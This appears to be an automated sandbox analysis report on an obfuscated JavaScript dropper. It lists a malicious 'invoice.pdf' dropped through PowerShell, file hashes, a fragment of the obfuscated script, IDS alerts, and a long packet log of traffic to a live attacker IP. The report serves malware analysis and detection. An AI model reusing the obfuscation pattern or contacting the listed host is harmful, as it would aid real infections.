SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16295), with CRLF line terminators
Entropy (8bit):	4.925779693501501
TrID:
File name:	2295888241314542.js
File size:	19'787 bytes
MD5:	3385acf93bef2276a70fc8002801a80c
SHA1:	401d6503daf76e7ec86d113e40a3faa533a006af
SHA256:	db9798477fb23bb7d4a40d6b9d039d23d0afc7302eb02753c7e1bebe1bb50bd1
SHA512:	bac56d8c756e8b84b171041c3c393dc3fd866e6c12af9100499c43daedcc1ecec25454d6ec6e2a950d60a1b497cdfdc156f3f201d4ed1caaf3d766397fc025a7
SSDEEP:	192:pr9+RFrPzOSBA68ZIQcphkHhrHZB8bngQwlPKV/ldPKMK7hABvzFz9xt/gQ3A75N:aH9BA6gChkHywuHPKMvBL8
TLSH:	C59264CCC80FC74A9AE00592D28663D32A1592C559F0E1D5E85339CD9FBA15A0CFE77E
File Content Preview:	function zdiqieps(){ovpul=[1031,3079,5127,4103,2055,3072];var hukmsw=this[jgtqc+wlfxeqet+omqsbadi+vhpxxcsw+zmgzcyqlu+lgxbwhlmj+lugirm+pacel](this[mqropb+goxpjbt+aymuok+omqsbadi+qsqezh+jgtqc+pacel][piaejnwxv+omqsbadi+zmgzcyqlu+wlfxeqet+pacel+zmgzcyqlu+wqbq

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:28:20.989879+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T21:28:24.093288+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:28:20.195776939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:20.200856924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:20.200963974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:20.204277992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:20.209098101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:20.989645004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:20.989679098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:20.989695072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:20.989710093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:20.989723921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:20.989738941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:20.989752054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:20.989767075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:20.989783049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:20.989797115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:20.989878893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:20.989878893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:20.989878893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:20.989878893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.035840988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.035860062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.036026001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.110532045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.110551119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.110563040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.110599995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.110610008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.110620975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.110630989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.110730886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.110730886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.111407995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.111444950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.111526012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.111536026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.111546040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.111566067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.111982107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.111993074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.112010002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.112020016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.112025976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.112030029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.112051010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.112068892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.112811089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.112827063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.112837076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.112847090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.112857103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.112863064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.112891912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.113717079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.113756895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.171902895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.171926022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.172095060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.201347113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.201405048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.201445103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.201508999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.231892109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.231905937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.231985092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.232225895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.232259989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.232294083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.232331038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.232384920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.232387066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.232387066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.232419968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.232433081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.232604027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.232620955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.232631922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.232640982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.232650995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.232659101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.232661009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.232671976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.232698917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.232748985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.233338118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.233350039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.233366966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.233377934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.233387947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.233388901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.233398914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.233409882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.233419895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.233434916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.233464003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.234255075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.234345913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.234355927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.234363079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.234371901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.234380960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.234390974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.234395027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.234400988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.234428883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.234455109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.235348940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.235358953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.235368967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.235378981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.235388041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.235397100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.235399008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.235409975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.235413074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.235419989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.235449076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.235462904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.236172915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.266694069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.266707897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.266717911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.266727924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.266810894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.292267084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.292299986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.292363882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.322923899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.322937965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.322947979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.322957993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.323043108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.323091984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.323093891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.323095083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.323134899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.353063107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.353106022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.353116989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.353126049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.353127956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.353140116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.353162050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.353178024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.353228092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.353266001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.353307962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.353318930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.353329897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.353339911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.353358030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.353730917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.353765011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.353770971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.353777885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.353811979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.353816032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.353821993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.353833914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.353843927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.353857994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.353882074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.354559898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.354573965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.354583979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.354607105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.354820013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.354831934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.354846001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.354857922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.354862928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.354872942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.354882956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.354890108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.354893923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.354922056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.354948044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.354948997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.355896950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.355916023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.355926991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.355938911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.355942965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.355948925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.355959892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.355969906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.355974913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.355981112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.355993032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.356020927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.356786013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.356816053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.356832027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.356837988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.356842041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.356853008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.356863022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.356868029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.356873989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.356884956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.356904030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.357765913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.357786894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.357799053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.357809067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.357816935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.357819080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.357830048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.357840061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.357844114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.357853889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.357880116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.358696938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.358710051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.358722925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.358736992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.358760118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.358762980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.358773947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.358783007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.358795881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.358803034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.358807087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.358848095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.359705925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.359725952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.359735966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.359749079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.359750986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.359761953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.359775066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.359777927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.359811068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.363512039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.373835087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.380728006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.380776882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.380811930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.380815029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.380853891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.380862951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.411572933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.411638975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.411645889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.411676884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.411712885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.411737919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.411750078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.411808968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.411825895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.411844969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.411880016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.411901951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.411915064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.411952019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.411968946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.433195114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.441536903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.441581964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.441617966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.441638947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.441673994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.441696882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.441710949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.441745996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.441760063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 21:28:21.441782951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 21:28:21.441821098 CET	80	49730	193.143.1.205	192.168.2.4
